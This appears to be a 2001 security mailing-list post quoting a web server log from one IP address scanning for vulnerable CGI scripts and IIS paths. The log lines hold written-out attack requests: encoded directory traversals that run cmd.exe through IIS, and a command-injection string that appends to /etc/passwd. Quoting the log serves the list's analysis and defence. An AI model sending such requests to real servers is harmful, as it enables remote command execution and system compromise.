> [04/Jun/2001:14:46:16 //PSUser/PSCOErrPage.htm 61.139.34.233
> [04/Jun/2001:14:46:22 //publisher/ 61.139.34.233
> [04/Jun/2001:14:46:27 //pw/storemgr.pw 61.139.34.233
> [04/Jun/2001:14:46:32 //quikstore.cfg 61.139.34.233
> [04/Jun/2001:14:46:38 //root 61.139.34.233
> [04/Jun/2001:14:46:44 //samples/search/queryhit.htm 61.139.34.233
> [04/Jun/2001:14:46:49 //scripts 61.139.34.233
> [04/Jun/2001:14:46:54 //scripts/../../cmd.exe 61.139.34.233
> [04/Jun/2001:14:47:00 
> //scripts/c32web.exe/ChangeAdminPassword 61.139.34.233
> [04/Jun/2001:14:47:05 //scripts/cart32.exe/cart32clientlist 
> 61.139.34.233
> [04/Jun/2001:14:47:11 //scripts/CGImail.exe 61.139.34.233
> [04/Jun/2001:14:47:17 //scripts/cmd.exe 61.139.34.233
> [04/Jun/2001:14:47:22 //scripts/convert.bas 61.139.34.233
> [04/Jun/2001:14:47:28 //scripts/counter.exe 61.139.34.233
> [04/Jun/2001:14:47:33 //scripts/cpshost.dll 61.139.34.233
> [04/Jun/2001:14:47:38 //scripts/dbman/db.cgi?db=invalid-db 
> 61.139.34.233
> [04/Jun/2001:14:47:44 //scripts/emurl/RECMAN.dll 61.139.34.233
> [04/Jun/2001:14:47:49 //scripts/fpcount.exe 61.139.34.233
> [04/Jun/2001:14:47:54 //scripts/iisadmin/bdir.htr 61.139.34.233
> [04/Jun/2001:14:47:59 //scripts/iisadmin/ism.dll 61.139.34.233
> [04/Jun/2001:14:48:04 //scripts/iisadmin/tools/ctss.idc 61.139.34.233
> [04/Jun/2001:14:48:09 //scripts/iisadmin/tools/getdrvrs.exe 
> 61.139.34.233
> [04/Jun/2001:14:48:13 //scripts/iisadmin/tools/mkilog.exe 
> 61.139.34.233
> [04/Jun/2001:14:48:17 //scripts/issadmin/bdir.htr 61.139.34.233
> [04/Jun/2001:14:48:21 //scripts/no-such-file.pl 61.139.34.233
> [04/Jun/2001:14:48:25 //scripts/perl 61.139.34.233
> [04/Jun/2001:14:48:29 //scripts/postinfo.asp 61.139.34.233
> [04/Jun/2001:14:48:33 //scripts/proxy/w3proxy.dll 61.139.34.233
> [04/Jun/2001:14:48:37 //scripts/samples/ctguestb.idc 61.139.34.233
> [04/Jun/2001:14:48:41 //scripts/samples/details.idc 61.139.34.233
> [04/Jun/2001:14:48:45 //scripts/samples/search/webhits.exe 
> 61.139.34.233
> [04/Jun/2001:14:48:49 //scripts/slxweb.dll 61.139.34.233
> [04/Jun/2001:14:48:53 //scripts/tools/dsnform.exe 61.139.34.233
> [04/Jun/2001:14:48:57 //scripts/tools/getdrvrs.exe 61.139.34.233
> [04/Jun/2001:14:49:02 //scripts/tools/getdrvs.exe 61.139.34.233
> [04/Jun/2001:14:49:06 //scripts/tools/mkilog.exe 61.139.34.233
> [04/Jun/2001:14:49:10 //scripts/tools/newdsn.exe 61.139.34.233
> [04/Jun/2001:14:49:15 //scripts/upload.asp 61.139.34.233
> [04/Jun/2001:14:49:19 //scripts/uploadn.asp 61.139.34.233
> [04/Jun/2001:14:49:24 //scripts/uploadx.asp 61.139.34.233
> [04/Jun/2001:14:49:28 //scripts/wa.exe 61.139.34.233
> [04/Jun/2001:14:49:32 //scripts/webbbs.exe 61.139.34.233
> [04/Jun/2001:14:49:36 //scripts/wsisa.dll 61.139.34.233
> [04/Jun/2001:14:49:40 //search 61.139.34.233
> [04/Jun/2001:14:49:44 //search97.vts 61.139.34.233
> [04/Jun/2001:14:49:47 //secure/.htaccess 61.139.34.233
> [04/Jun/2001:14:49:51 //secure/.wwwacl 61.139.34.233
> [04/Jun/2001:14:49:55 //server-status 61.139.34.233
> [04/Jun/2001:14:49:59 //session/adminlogin 61.139.34.233
> [04/Jun/2001:14:50:02 //showfile.asp 61.139.34.233
> [04/Jun/2001:14:50:06 //smdata.dat 61.139.34.233
> [04/Jun/2001:14:50:09 //ssi/envout.bat 61.139.34.233
> [04/Jun/2001:14:50:13 //today.nsf 61.139.34.233
> [04/Jun/2001:14:50:17 //tree.dat 61.139.34.233
> [04/Jun/2001:14:50:21
> //userreg.cgi?cmd=insert</=eng&tnum=3&fld1=test999%0acat</var/
spool/mail/log
> in>>/etc/passwd 61.139.34.233
> [04/Jun/2001:14:50:25 //usr/local/apache/share/htdocs/.htaccess
> 61.139.34.233
> [04/Jun/2001:14:50:29 //way-board/way-board.cgi 61.139.34.233
> [04/Jun/2001:14:50:33 //web_store.cgi 61.139.34.233
> [04/Jun/2001:14:50:37 //WebShop/logs/cc.txt 61.139.34.233
> [04/Jun/2001:14:50:41 //WebShop/logs/ck.log 61.139.34.233
> [04/Jun/2001:14:50:45 //WebShop/templates/cc.txt 61.139.34.233
> [04/Jun/2001:14:50:50 //WebSTAR 61.139.34.233
> [04/Jun/2001:14:50:54 //whois_raw.cgi 61.139.34.233
> [04/Jun/2001:14:50:58 //ws_ftp.ini 61.139.34.233
> [04/Jun/2001:14:51:03 //wwwboard.pl 61.139.34.233
> [04/Jun/2001:14:51:07 //wwwboard/passwd.txt 61.139.34.233
> [04/Jun/2001:14:51:12
> //_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:16
> //_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:20
> //_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:25
> //_mem_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:30
> //_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:34
> //_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:39
> //_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:44
> //_vti_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:48
> //cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:53
> //cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:51:58
> //cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:03
> //cgi-bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:05
> //msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:08
> //msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:11
> //msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:13
> //msadc/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:16
> //scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cm
d.exe?/c+dir+c
> :\ 61.139.34.233
> [04/Jun/2001:14:52:18
> //scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cm
d.exe?/c+dir+c
> :\ 61.139.34.233
> [04/Jun/2001:14:52:21
> //scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cm
d.exe?/c+dir+c
> :\ 61.139.34.233
> [04/Jun/2001:14:52:23
> //scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cm
d.exe?/c+dir+c
> :\ 61.139.34.233
> [04/Jun/2001:14:52:26
> //msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:31
> //msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/
> c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:34
> //msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd
.exe?/c+dir+c:
> \ 61.139.34.233
> [04/Jun/2001:14:52:36
> //msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system
32/cmd.exe?/c+
> dir+c:\ 61.139.34.233
> [04/Jun/2001:14:52:41
> //MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:44
> //MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\
> 61.139.34.233
> [04/Jun/2001:14:52:46
> //MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd
.exe?/c+dir+c:
> \ 61.139.34.233
> [04/Jun/2001:14:52:49
> //MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/syst
em32/cmd.exe?/
> c+dir+c:\ 61.139.34.233
>
Next message: Ruth Milner: "followup on hacktivism example"
Previous message: Graham Bevan: "Re: SGI RPC broadcast"
Next in thread: Tony Lambiris: "Re: linux www log file"
Reply: Tony Lambiris: "Re: linux www log file"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
This archive was generated by hypermail 2b30 : Fri Jun 08 2001 - 10:45:12 PDT